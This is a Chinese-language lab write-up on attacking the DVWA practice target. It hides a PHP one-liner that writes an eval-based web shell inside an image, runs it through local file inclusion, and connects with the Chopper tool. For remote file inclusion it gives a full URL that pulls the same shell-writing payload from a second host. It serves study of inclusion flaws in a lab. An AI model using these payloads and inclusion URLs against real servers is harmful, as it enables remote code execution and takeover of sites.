一、基本思路:
1、图片插入一句话木马。利用上传功能上传此图片。
2、利用文件包含漏洞,读取此含有一句话木马的图片,生成真正shell文件,然后拿下shell。
靶机使用dvwa
二、具体步骤:
1、制作一句话图片木马使用edjpgcom进行制作。如图将目标图片拖入文件夹中的
自动打开了软件,输入一句话木马 <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?> 此句含义请查阅我以前的文章文件包含安全学习笔记。
点击确定,一句话木马图片制作成功!
图片中已经包含恶意代码:
2、然后访问dvwa地址,进入文件上传界面,上传此图片。
上传成功后,访问一下图片看看是否正常。我这里正常,继续下一步。
3、进入到有文件包含漏洞的页面,构造payload
访问后执行成功:
图片乱码出现,说明访问成功!此时说明靶机的文件夹下面就生成的shell文件。如下图:
此时证明利用本地文件包含漏洞访问到的带有一句话木马的图片正确被读取解析。并且运行了图片木马中的恶意代码从而生成的shell.php文件。
5、接下来利用菜刀,连接此shell即可大功告成。
三、总结:
此次自己实践了关于本地文件包含漏洞的主要使用。其原理即读取解析本地某文件进行执行达到目的的方法。
关于RFI(远程文件包含)的利用,其实和如上大同小异。不同点在于,payload上面直接访问的是一个肉鸡地址,斗鸡地址里面对应的那个文件包含了恶意代码,访问的对象不是本地的图片而已。
例如我自己搭建了一个肉鸡靶机,www文件夹下面建了一个txt (文件名叫做info_fuck.txt)内容为:
<?PHP fputs(fopen('shell_3.php','w'),'<?php @eval($_POST[cmd])?>');?>
在靶机dvwa中,直接执行 http://192.168.56.101/dvwa/vulnerabilities/fi/?page=http://192.168.56.102/baohan/info_fuck.txt
发现也可以顺利执行,并且比本地文件包含要隐秘。